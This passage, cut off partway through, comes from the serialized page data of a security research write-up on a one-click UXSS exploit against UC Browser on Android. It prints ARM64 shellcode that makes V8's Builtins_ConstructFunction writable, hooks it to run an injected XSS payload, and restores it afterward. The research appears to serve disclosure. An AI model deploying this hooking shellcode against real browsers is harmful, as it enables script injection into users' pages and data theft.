",{"type":22,"tag":69,"props":140734,"children":140737},{"href":140735,"rel":140736},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[73],[140738],{"type":27,"value":140739},"research article",{"type":27,"value":140741}," from InterruptLabs.",{"type":22,"tag":23,"props":140743,"children":140744},{},[140745,140747,140754],{"type":27,"value":140746},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":22,"tag":69,"props":140748,"children":140751},{"href":140749,"rel":140750},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[73],[140752],{"type":27,"value":140753},"weaker version",{"type":27,"value":140755}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":22,"tag":23,"props":140757,"children":140758},{},[140759,140761,140767],{"type":27,"value":140760},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":22,"tag":257,"props":140762,"children":140764},{"className":140763},[],[140765],{"type":27,"value":140766},"Builtins_ConstructFunction",{"type":27,"value":140768},", making it a natural target.",{"type":22,"tag":23,"props":140770,"children":140771},{},[140772,140774,140779],{"type":27,"value":140773},"Our goal is for ",{"type":22,"tag":257,"props":140775,"children":140777},{"className":140776},[],[140778],{"type":27,"value":140766},{"type":27,"value":140780}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":22,"tag":17988,"props":140782,"children":140783},{},[140784,140789,140799],{"type":22,"tag":1871,"props":140785,"children":140786},{},[140787],{"type":27,"value":140788},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":22,"tag":1871,"props":140790,"children":140791},{},[140792,140794],{"type":27,"value":140793},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":22,"tag":257,"props":140795,"children":140797},{"className":140796},[],[140798],{"type":27,"value":140766},{"type":22,"tag":1871,"props":140800,"children":140801},{},[140802,140804,140809],{"type":27,"value":140803},"The mmap-ed shellcode then returns to the beginning of ",{"type":22,"tag":257,"props":140805,"children":140807},{"className":140806},[],[140808],{"type":27,"value":140766},{"type":27,"value":140810},", which now proceeds normally",{"type":22,"tag":23,"props":140812,"children":140813},{},[140814],{"type":27,"value":140815},"The ARM64 shellcode implementing this looks as follows:",{"type":22,"tag":618,"props":140817,"children":140821},{"code":140818,"language":140819,"meta":7,"className":140820,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[140822],{"type":22,"tag":257,"props":140823,"children":140824},{"__ignoreMap":7},[140825,140833,140841,140849,140857,140864,140872,140880,140888,140896,140903,140911,140919,140927,140935,140943,140950,140958,140966,140974,140982,140990,140998,141005,141013,141020,141028,141036,141044,141051,141059,141067,141075,141083,141090,141097,141104,141111,141119,141127,141135,141142,141150,141158,141165,141173,141181,141189,141196,141204,141212,141220,141228,141235,141242,141250],{"type":22,"tag":264,"props":140826,"children":140827},{"class":1534,"line":1535},[140828],{"type":22,"tag":264,"props":140829,"children":140830},{},[140831],{"type":27,"value":140832},"// get return addr to x0\n",{"type":22,"tag":264,"props":140834,"children":140835},{"class":1534,"line":1545},[140836],{"type":22,"tag":264,"props":140837,"children":140838},{},[140839],{"type":27,"value":140840},"ldr x0, [sp, #0x18]\n",{"type":22,"tag":264,"props":140842,"children":140843},{"class":1534,"line":1560},[140844],{"type":22,"tag":264,"props":140845,"children":140846},{},[140847],{"type":27,"value":140848},"// strip pac signature from return address\n",{"type":22,"tag":264,"props":140850,"children":140851},{"class":1534,"line":1569},[140852],{"type":22,"tag":264,"props":140853,"children":140854},{},[140855],{"type":27,"value":140856},".arch armv8.3-a; xpaci x0\n",{"type":22,"tag":264,"props":140858,"children":140859},{"class":1534,"line":1583},[140860],{"type":22,"tag":264,"props":140861,"children":140862},{"emptyLinePlaceholder":17},[140863],{"type":27,"value":4986},{"type":22,"tag":264,"props":140865,"children":140866},{"class":1534,"line":1603},[140867],{"type":22,"tag":264,"props":140868,"children":140869},{},[140870],{"type":27,"value":140871},"// store x5 = Builtins_ConstructFunction\n",{"type":22,"tag":264,"props":140873,"children":140874},{"class":1534,"line":1612},[140875],{"type":22,"tag":264,"props":140876,"children":140877},{},[140878],{"type":27,"value":140879},"movz x1, #0x610c\n",{"type":22,"tag":264,"props":140881,"children":140882},{"class":1534,"line":1621},[140883],{"type":22,"tag":264,"props":140884,"children":140885},{},[140886],{"type":27,"value":140887},"sub x0, x0, x1\n",{"type":22,"tag":264,"props":140889,"children":140890},{"class":1534,"line":1629},[140891],{"type":22,"tag":264,"props":140892,"children":140893},{},[140894],{"type":27,"value":140895},"mov x5, x0\n",{"type":22,"tag":264,"props":140897,"children":140898},{"class":1534,"line":1642},[140899],{"type":22,"tag":264,"props":140900,"children":140901},{"emptyLinePlaceholder":17},[140902],{"type":27,"value":4986},{"type":22,"tag":264,"props":140904,"children":140905},{"class":1534,"line":1660},[140906],{"type":22,"tag":264,"props":140907,"children":140908},{},[140909],{"type":27,"value":140910},"// store x4 = page aligned ConstructFunction\n",{"type":22,"tag":264,"props":140912,"children":140913},{"class":1534,"line":1668},[140914],{"type":22,"tag":264,"props":140915,"children":140916},{},[140917],{"type":27,"value":140918},"movz x1, #0xf000\n",{"type":22,"tag":264,"props":140920,"children":140921},{"class":1534,"line":1677},[140922],{"type":22,"tag":264,"props":140923,"children":140924},{},[140925],{"type":27,"value":140926},"movk x1, #0xffff, lsl #16\n",{"type":22,"tag":264,"props":140928,"children":140929},{"class":1534,"line":1686},[140930],{"type":22,"tag":264,"props":140931,"children":140932},{},[140933],{"type":27,"value":140934},"movk x1, #0xffff, lsl #32\n",{"type":22,"tag":264,"props":140936,"children":140937},{"class":1534,"line":4948},[140938],{"type":22,"tag":264,"props":140939,"children":140940},{},[140941],{"type":27,"value":140942},"and x4, x5, x1\n",{"type":22,"tag":264,"props":140944,"children":140945},{"class":1534,"line":4957},[140946],{"type":22,"tag":264,"props":140947,"children":140948},{"emptyLinePlaceholder":17},[140949],{"type":27,"value":4986},{"type":22,"tag":264,"props":140951,"children":140952},{"class":1534,"line":4980},[140953],{"type":22,"tag":264,"props":140954,"children":140955},{},[140956],{"type":27,"value":140957},"// mprotect page aligned ConstructFunction RWX\n",{"type":22,"tag":264,"props":140959,"children":140960},{"class":1534,"line":4989},[140961],{"type":22,"tag":264,"props":140962,"children":140963},{},[140964],{"type":27,"value":140965},"mov x0, x4\n",{"type":22,"tag":264,"props":140967,"children":140968},{"class":1534,"line":4998},[140969],{"type":22,"tag":264,"props":140970,"children":140971},{},[140972],{"type":27,"value":140973},"mov x1, #0x2000\n",{"type":22,"tag":264,"props":140975,"children":140976},{"class":1534,"line":5067},[140977],{"type":22,"tag":264,"props":140978,"children":140979},{},[140980],{"type":27,"value":140981},"mov x2, #0x7\n",{"type":22,"tag":264,"props":140983,"children":140984},{"class":1534,"line":5075},[140985],{"type":22,"tag":264,"props":140986,"children":140987},{},[140988],{"type":27,"value":140989},"mov x8, #226\n",{"type":22,"tag":264,"props":140991,"children":140992},{"class":1534,"line":5105},[140993],{"type":22,"tag":264,"props":140994,"children":140995},{},[140996],{"type":27,"value":140997},"svc #0\n",{"type":22,"tag":264,"props":140999,"children":141000},{"class":1534,"line":5113},[141001],{"type":22,"tag":264,"props":141002,"children":141003},{"emptyLinePlaceholder":17},[141004],{"type":27,"value":4986},{"type":22,"tag":264,"props":141006,"children":141007},{"class":1534,"line":5145},[141008],{"type":22,"tag":264,"props":141009,"children":141010},{},[141011],{"type":27,"value":141012},"mov x6, x5\n",{"type":22,"tag":264,"props":141014,"children":141015},{"class":1534,"line":5153},[141016],{"type":22,"tag":264,"props":141017,"children":141018},{"emptyLinePlaceholder":17},[141019],{"type":27,"value":4986},{"type":22,"tag":264,"props":141021,"children":141022},{"class":1534,"line":5213},[141023],{"type":22,"tag":264,"props":141024,"children":141025},{},[141026],{"type":27,"value":141027},"// mmap RWX for jump dest (uxss_sc)\n",{"type":22,"tag":264,"props":141029,"children":141030},{"class":1534,"line":10343},[141031],{"type":22,"tag":264,"props":141032,"children":141033},{},[141034],{"type":27,"value":141035},"mov x0, #0\n",{"type":22,"tag":264,"props":141037,"children":141038},{"class":1534,"line":10361},[141039],{"type":22,"tag":264,"props":141040,"children":141041},{},[141042],{"type":27,"value":141043},"mov x1, #0x1000\n",{"type":22,"tag":264,"props":141045,"children":141046},{"class":1534,"line":10406},[141047],{"type":22,"tag":264,"props":141048,"children":141049},{},[141050],{"type":27,"value":140981},{"type":22,"tag":264,"props":141052,"children":141053},{"class":1534,"line":10512},[141054],{"type":22,"tag":264,"props":141055,"children":141056},{},[141057],{"type":27,"value":141058},"mov x3, #34\n",{"type":22,"tag":264,"props":141060,"children":141061},{"class":1534,"line":24810},[141062],{"type":22,"tag":264,"props":141063,"children":141064},{},[141065],{"type":27,"value":141066},"mov x4, #-1\n",{"type":22,"tag":264,"props":141068,"children":141069},{"class":1534,"line":24845},[141070],{"type":22,"tag":264,"props":141071,"children":141072},{},[141073],{"type":27,"value":141074},"mov x5, #0\n",{"type":22,"tag":264,"props":141076,"children":141077},{"class":1534,"line":24853},[141078],{"type":22,"tag":264,"props":141079,"children":141080},{},[141081],{"type":27,"value":141082},"mov x8, #222\n",{"type":22,"tag":264,"props":141084,"children":141085},{"class":1534,"line":24861},[141086],{"type":22,"tag":264,"props":141087,"children":141088},{},[141089],{"type":27,"value":140997},{"type":22,"tag":264,"props":141091,"children":141092},{"class":1534,"line":24870},[141093],{"type":22,"tag":264,"props":141094,"children":141095},{"emptyLinePlaceholder":17},[141096],{"type":27,"value":4986},{"type":22,"tag":264,"props":141098,"children":141099},{"class":1534,"line":24912},[141100],{"type":22,"tag":264,"props":141101,"children":141102},{},[141103],{"type":27,"value":140895},{"type":22,"tag":264,"props":141105,"children":141106},{"class":1534,"line":24945},[141107],{"type":22,"tag":264,"props":141108,"children":141109},{"emptyLinePlaceholder":17},[141110],{"type":27,"value":4986},{"type":22,"tag":264,"props":141112,"children":141113},{"class":1534,"line":24953},[141114],{"type":22,"tag":264,"props":141115,"children":141116},{},[141117],{"type":27,"value":141118},"// at this point:\n",{"type":22,"tag":264,"props":141120,"children":141121},{"class":1534,"line":24961},[141122],{"type":22,"tag":264,"props":141123,"children":141124},{},[141125],{"type":27,"value":141126},"// x6 = Builtins_ConstructFunction\n",{"type":22,"tag":264,"props":141128,"children":141129},{"class":1534,"line":24970},[141130],{"type":22,"tag":264,"props":141131,"children":141132},{},[141133],{"type":27,"value":141134},"// x5 = mmap page for uxss_sc\n",{"type":22,"tag":264,"props":141136,"children":141137},{"class":1534,"line":25046},[141138],{"type":22,"tag":264,"props":141139,"children":141140},{"emptyLinePlaceholder":17},[141141],{"type":27,"value":4986},{"type":22,"tag":264,"props":141143,"children":141144},{"class":1534,"line":25079},[141145],{"type":22,"tag":264,"props":141146,"children":141147},{},[141148],{"type":27,"value":141149},"// write uxss_sc to mmaped rwx page\n",{"type":22,"tag":264,"props":141151,"children":141152},{"class":1534,"line":25087},[141153],{"type":22,"tag":264,"props":141154,"children":141155},{},[141156],{"type":27,"value":141157},"{write_sc(uxss_sc, \"x5\")}\n",{"type":22,"tag":264,"props":141159,"children":141160},{"class":1534,"line":25095},[141161],{"type":22,"tag":264,"props":141162,"children":141163},{"emptyLinePlaceholder":17},[141164],{"type":27,"value":4986},{"type":22,"tag":264,"props":141166,"children":141167},{"class":1534,"line":25132},[141168],{"type":22,"tag":264,"props":141169,"children":141170},{},[141171],{"type":27,"value":141172},"// wipe from cache\n",{"type":22,"tag":264,"props":141174,"children":141175},{"class":1534,"line":25145},[141176],{"type":22,"tag":264,"props":141177,"children":141178},{},[141179],{"type":27,"value":141180},"mov x0, x5\n",{"type":22,"tag":264,"props":141182,"children":141183},{"class":1534,"line":25158},[141184],{"type":22,"tag":264,"props":141185,"children":141186},{},[141187],{"type":27,"value":141188},"{WIPE_CACHE}\n",{"type":22,"tag":264,"props":141190,"children":141191},{"class":1534,"line":25171},[141192],{"type":22,"tag":264,"props":141193,"children":141194},{"emptyLinePlaceholder":17},[141195],{"type":27,"value":4986},{"type":22,"tag":264,"props":141197,"children":141198},{"class":1534,"line":25225},[141199],{"type":22,"tag":264,"props":141200,"children":141201},{},[141202],{"type":27,"value":141203},"// patch Builtins_ConstructFunction\n",{"type":22,"tag":264,"props":141205,"children":141206},{"class":1534,"line":25234},[141207],{"type":22,"tag":264,"props":141208,"children":141209},{},[141210],{"type":27,"value":141211},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":22,"tag":264,"props":141213,"children":141214},{"class":1534,"line":33596},[141215],{"type":22,"tag":264,"props":141216,"children":141217},{},[141218],{"type":27,"value":141219},"// and add a pointer to uxss_sc just above new instructions\n",{"type":22,"tag":264,"props":141221,"children":141222},{"class":1534,"line":33617},[141223],{"type":22,"tag":264,"props":141224,"children":141225},{},[141226],{"type":27,"value":141227},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":22,"tag":264,"props":141229,"children":141230},{"class":1534,"line":82277},[141231],{"type":22,"tag":264,"props":141232,"children":141233},{"emptyLinePlaceholder":17},[141234],{"type":27,"value":4986},{"type":22,"tag":264,"props":141236,"children":141237},{"class":1534,"line":82290},[141238],{"type":22,"tag":264,"props":141239,"children":141240},{},[141241],{"type":27,"value":141172},{"type":22,"tag":264,"props":141243,"children":141244},{"class":1534,"line":82298},[141245],{"type":22,"tag":264,"props":141246,"children":141247},{},[141248],{"type":27,"value":141249},"mov x0, x6\n",{"type":22,"tag":264,"props":141251,"children":141252},{"class":1534,"line":82306},[141253],{"type":22,"tag":264,"props":141254,"children":141255},{},[141256],{"type":27,"value":141188},{"type":22,"tag":23,"props":141258,"children":141259},{},[141260,141262,141268,141270,141275,141277,141283],{"type":27,"value":141261},"In the snippet above, ",{"type":22,"tag":257,"props":141263,"children":141265},{"className":141264},[],[141266],{"type":27,"value":141267},"new_compile_instrs",{"type":27,"value":141269}," refers to the instructions written to the beginning of ",{"type":22,"tag":257,"props":141271,"children":141273},{"className":141272},[],[141274],{"type":27,"value":140766},{"type":27,"value":141276}," that invoke the ",{"type":22,"tag":257,"props":141278,"children":141280},{"className":141279},[],[141281],{"type":27,"value":141282},"uxss_sc",{"type":27,"value":141284}," mmap-ed shellcode:",{"type":22,"tag":618,"props":141286,"children":141288},{"code":141287,"language":140819,"meta":7,"className":140820,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[141289],{"type":22,"tag":257,"props":141290,"children":141291},{"__ignoreMap":7},[141292,141300,141307,141315,141323,141330,141338,141346,141353,141361,141369,141376,141384],{"type":22,"tag":264,"props":141293,"children":141294},{"class":1534,"line":1535},[141295],{"type":22,"tag":264,"props":141296,"children":141297},{},[141298],{"type":27,"value":141299},"bti c\n",{"type":22,"tag":264,"props":141301,"children":141302},{"class":1534,"line":1545},[141303],{"type":22,"tag":264,"props":141304,"children":141305},{"emptyLinePlaceholder":17},[141306],{"type":27,"value":4986},{"type":22,"tag":264,"props":141308,"children":141309},{"class":1534,"line":1560},[141310],{"type":22,"tag":264,"props":141311,"children":141312},{},[141313],{"type":27,"value":141314},"// store registers that will be overwritten\n",{"type":22,"tag":264,"props":141316,"children":141317},{"class":1534,"line":1569},[141318],{"type":22,"tag":264,"props":141319,"children":141320},{},[141321],{"type":27,"value":141322},"stp x15, lr, [sp, #-16]!\n",{"type":22,"tag":264,"props":141324,"children":141325},{"class":1534,"line":1583},[141326],{"type":22,"tag":264,"props":141327,"children":141328},{"emptyLinePlaceholder":17},[141329],{"type":27,"value":4986},{"type":22,"tag":264,"props":141331,"children":141332},{"class":1534,"line":1603},[141333],{"type":22,"tag":264,"props":141334,"children":141335},{},[141336],{"type":27,"value":141337},"// get current rip into x15\n",{"type":22,"tag":264,"props":141339,"children":141340},{"class":1534,"line":1612},[141341],{"type":22,"tag":264,"props":141342,"children":141343},{},[141344],{"type":27,"value":141345},"adr x15, .\n",{"type":22,"tag":264,"props":141347,"children":141348},{"class":1534,"line":1621},[141349],{"type":22,"tag":264,"props":141350,"children":141351},{"emptyLinePlaceholder":17},[141352],{"type":27,"value":4986},{"type":22,"tag":264,"props":141354,"children":141355},{"class":1534,"line":1629},[141356],{"type":22,"tag":264,"props":141357,"children":141358},{},[141359],{"type":27,"value":141360},"// load the uxss_sc pointer saved just above new instructions\n",{"type":22,"tag":264,"props":141362,"children":141363},{"class":1534,"line":1642},[141364],{"type":22,"tag":264,"props":141365,"children":141366},{},[141367],{"type":27,"value":141368},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":22,"tag":264,"props":141370,"children":141371},{"class":1534,"line":1660},[141372],{"type":22,"tag":264,"props":141373,"children":141374},{"emptyLinePlaceholder":17},[141375],{"type":27,"value":4986},{"type":22,"tag":264,"props":141377,"children":141378},{"class":1534,"line":1668},[141379],{"type":22,"tag":264,"props":141380,"children":141381},{},[141382],{"type":27,"value":141383},"// jump to uxss_sc\n",{"type":22,"tag":264,"props":141385,"children":141386},{"class":1534,"line":1677},[141387],{"type":22,"tag":264,"props":141388,"children":141389},{},[141390],{"type":27,"value":141391},"blr x15\n",{"type":22,"tag":23,"props":141393,"children":141394},{},[141395,141400,141402,141407],{"type":22,"tag":257,"props":141396,"children":141398},{"className":141397},[],[141399],{"type":27,"value":141282},{"type":27,"value":141401}," is the mmap-ed shellcode invoked by the patched ",{"type":22,"tag":257,"props":141403,"children":141405},{"className":141404},[],[141406],{"type":27,"value":140766},{"type":27,"value":141408}," to execute our XSS payload. Its prologue looks like this:",{"type":22,"tag":618,"props":141410,"children":141412},{"code":141411,"language":140819,"meta":7,"className":140820,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[141413],{"type":22,"tag":257,"props":141414,"children":141415},{"__ignoreMap":7},[141416,141423,141430,141438,141446,141454,141462,141470,141478,141486,141494,141502,141510,141518,141526,141534,141542,141550,141558],{"type":22,"tag":264,"props":141417,"children":141418},{"class":1534,"line":1535},[141419],{"type":22,"tag":264,"props":141420,"children":141421},{},[141422],{"type":27,"value":141299},{"type":22,"tag":264,"props":141424,"children":141425},{"class":1534,"line":1545},[141426],{"type":22,"tag":264,"props":141427,"children":141428},{"emptyLinePlaceholder":17},[141429],{"type":27,"value":4986},{"type":22,"tag":264,"props":141431,"children":141432},{"class":1534,"line":1560},[141433],{"type":22,"tag":264,"props":141434,"children":141435},{},[141436],{"type":27,"value":141437},"// Save full register context\n",{"type":22,"tag":264,"props":141439,"children":141440},{"class":1534,"line":1569},[141441],{"type":22,"tag":264,"props":141442,"children":141443},{},[141444],{"type":27,"value":141445},"stp x0,  x1,  [sp, #-16]!\n",{"type":22,"tag":264,"props":141447,"children":141448},{"class":1534,"line":1583},[141449],{"type":22,"tag":264,"props":141450,"children":141451},{},[141452],{"type":27,"value":141453},"stp x2,  x3,  [sp, #-16]!\n",{"type":22,"tag":264,"props":141455,"children":141456},{"class":1534,"line":1603},[141457],{"type":22,"tag":264,"props":141458,"children":141459},{},[141460],{"type":27,"value":141461},"stp x4,  x5,  [sp, #-16]!\n",{"type":22,"tag":264,"props":141463,"children":141464},{"class":1534,"line":1612},[141465],{"type":22,"tag":264,"props":141466,"children":141467},{},[141468],{"type":27,"value":141469},"stp x6,  x7,  [sp, #-16]!\n",{"type":22,"tag":264,"props":141471,"children":141472},{"class":1534,"line":1621},[141473],{"type":22,"tag":264,"props":141474,"children":141475},{},[141476],{"type":27,"value":141477},"stp x8,  x9,  [sp, #-16]!\n",{"type":22,"tag":264,"props":141479,"children":141480},{"class":1534,"line":1629},[141481],{"type":22,"tag":264,"props":141482,"children":141483},{},[141484],{"type":27,"value":141485},"stp x10, x11, [sp, #-16]!\n",{"type":22,"tag":264,"props":141487,"children":141488},{"class":1534,"line":1642},[141489],{"type":22,"tag":264,"props":141490,"children":141491},{},[141492],{"type":27,"value":141493},"stp x12, x13, [sp, #-16]!\n",{"type":22,"tag":264,"props":141495,"children":141496},{"class":1534,"line":1660},[141497],{"type":22,"tag":264,"props":141498,"children":141499},{},[141500],{"type":27,"value":141501},"stp x14, x15, [sp, #-16]!\n",{"type":22,"tag":264,"props":141503,"children":141504},{"class":1534,"line":1668},[141505],{"type":22,"tag":264,"props":141506,"children":141507},{},[141508],{"type":27,"value":141509},"stp x16, x17, [sp, #-16]!\n",{"type":22,"tag":264,"props":141511,"children":141512},{"class":1534,"line":1677},[141513],{"type":22,"tag":264,"props":141514,"children":141515},{},[141516],{"type":27,"value":141517},"stp x18, x19, [sp, #-16]!\n",{"type":22,"tag":264,"props":141519,"children":141520},{"class":1534,"line":1686},[141521],{"type":22,"tag":264,"props":141522,"children":141523},{},[141524],{"type":27,"value":141525},"stp x20, x21, [sp, #-16]!\n",{"type":22,"tag":264,"props":141527,"children":141528},{"class":1534,"line":4948},[141529],{"type":22,"tag":264,"props":141530,"children":141531},{},[141532],{"type":27,"value":141533},"stp x22, x23, [sp, #-16]!\n",{"type":22,"tag":264,"props":141535,"children":141536},{"class":1534,"line":4957},[141537],{"type":22,"tag":264,"props":141538,"children":141539},{},[141540],{"type":27,"value":141541},"stp x24, x25, [sp, #-16]!\n",{"type":22,"tag":264,"props":141543,"children":141544},{"class":1534,"line":4980},[141545],{"type":22,"tag":264,"props":141546,"children":141547},{},[141548],{"type":27,"value":141549},"stp x26, x27, [sp, #-16]!\n",{"type":22,"tag":264,"props":141551,"children":141552},{"class":1534,"line":4989},[141553],{"type":22,"tag":264,"props":141554,"children":141555},{},[141556],{"type":27,"value":141557},"stp x28, x29, [sp, #-16]!\n",{"type":22,"tag":264,"props":141559,"children":141560},{"class":1534,"line":4998},[141561],{"type":22,"tag":264,"props":141562,"children":141563},{},[141564],{"type":27,"value":141565},"str lr, [sp, #-16]!\n",{"type":22,"tag":23,"props":141567,"children":141568},{},[141569],{"type":27,"value":141570},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":22,"tag":23,"props":141572,"children":141573},{},[141574,141576,141581],{"type":27,"value":141575},"The epilogue restores all saved registers, restores the original instructions in ",{"type":22,"tag":257,"props":141577,"children":141579},{"className":141578},[],[141580],{"type":27,"value":140766},{"type":27,"value":141582},", and then returns execution to its beginning:",{"type":22,"tag":618,"props":141584,"children":141586},{"code":141585,"language":140819,"meta":7,"className":140820,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[141587],{"type":22,"tag":257,"props":141588,"children":141589},{"__ignoreMap":7},[141590,141598,141606,141614,141622,141630,141637,141644,141652,141659,141666,141674,141682,141690,141698,141706,141714,141722,141730,141738,141746,141754,141762,141770,141778,141786,141794,141801,141809,141817,141825,141833,141841,141848,141856,141864,141871],{"type":22,"tag":264,"props":141591,"children":141592},{"class":1534,"line":1535},[141593],{"type":22,"tag":264,"props":141594,"children":141595},{},[141596],{"type":27,"value":141597},"// restore original instructions of Builtins_ConstructFunction\n",{"type":22,"tag":264,"props":141599,"children":141600},{"class":1534,"line":1545},[141601],{"type":22,"tag":264,"props":141602,"children":141603},{},[141604],{"type":27,"value":141605},"ldr lr, [sp], #16\n",{"type":22,"tag":264,"props":141607,"children":141608},{"class":1534,"line":1560},[141609],{"type":22,"tag":264,"props":141610,"children":141611},{},[141612],{"type":27,"value":141613},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":22,"tag":264,"props":141615,"children":141616},{"class":1534,"line":1569},[141617],{"type":22,"tag":264,"props":141618,"children":141619},{},[141620],{"type":27,"value":141621},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":22,"tag":264,"props":141623,"children":141624},{"class":1534,"line":1583},[141625],{"type":22,"tag":264,"props":141626,"children":141627},{},[141628],{"type":27,"value":141629},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":22,"tag":264,"props":141631,"children":141632},{"class":1534,"line":1603},[141633],{"type":22,"tag":264,"props":141634,"children":141635},{"emptyLinePlaceholder":17},[141636],{"type":27,"value":4986},{"type":22,"tag":264,"props":141638,"children":141639},{"class":1534,"line":1612},[141640],{"type":22,"tag":264,"props":141641,"children":141642},{},[141643],{"type":27,"value":141172},{"type":22,"tag":264,"props":141645,"children":141646},{"class":1534,"line":1621},[141647],{"type":22,"tag":264,"props":141648,"children":141649},{},[141650],{"type":27,"value":141651},"mov x0, lr\n",{"type":22,"tag":264,"props":141653,"children":141654},{"class":1534,"line":1629},[141655],{"type":22,"tag":264,"props":141656,"children":141657},{},[141658],{"type":27,"value":141188},{"type":22,"tag":264,"props":141660,"children":141661},{"class":1534,"line":1642},[141662],{"type":22,"tag":264,"props":141663,"children":141664},{"emptyLinePlaceholder":17},[141665],{"type":27,"value":4986},{"type":22,"tag":264,"props":141667,"children":141668},{"class":1534,"line":1660},[141669],{"type":22,"tag":264,"props":141670,"children":141671},{},[141672],{"type":27,"value":141673},"// restore original registers\n",{"type":22,"tag":264,"props":141675,"children":141676},{"class":1534,"line":1668},[141677],{"type":22,"tag":264,"props":141678,"children":141679},{},[141680],{"type":27,"value":141681},"ldp x28, x29, [sp], #16\n",{"type":22,"tag":264,"props":141683,"children":141684},{"class":1534,"line":1677},[141685],{"type":22,"tag":264,"props":141686,"children":141687},{},[141688],{"type":27,"value":141689},"ldp x26, x27, [sp], #16\n",{"type":22,"tag":264,"props":141691,"children":141692},{"class":1534,"line":1686},[141693],{"type":22,"tag":264,"props":141694,"children":141695},{},[141696],{"type":27,"value":141697},"ldp x24, x25, [sp], #16\n",{"type":22,"tag":264,"props":141699,"children":141700},{"class":1534,"line":4948},[141701],{"type":22,"tag":264,"props":141702,"children":141703},{},[141704],{"type":27,"value":141705},"ldp x22, x23, [sp], #16\n",{"type":22,"tag":264,"props":141707,"children":141708},{"class":1534,"line":4957},[141709],{"type":22,"tag":264,"props":141710,"children":141711},{},[141712],{"type":27,"value":141713},"ldp x20, x21, [sp], #16\n",{"type":22,"tag":264,"props":141715,"children":141716},{"class":1534,"line":4980},[141717],{"type":22,"tag":264,"props":141718,"children":141719},{},[141720],{"type":27,"value":141721},"ldp x18, x19, [sp], #16\n",{"type":22,"tag":264,"props":141723,"children":141724},{"class":1534,"line":4989},[141725],{"type":22,"tag":264,"props":141726,"children":141727},{},[141728],{"type":27,"value":141729},"ldp x16, x17, [sp], #16\n",{"type":22,"tag":264,"props":141731,"children":141732},{"class":1534,"line":4998},[141733],{"type":22,"tag":264,"props":141734,"children":141735},{},[141736],{"type":27,"value":141737},"ldp 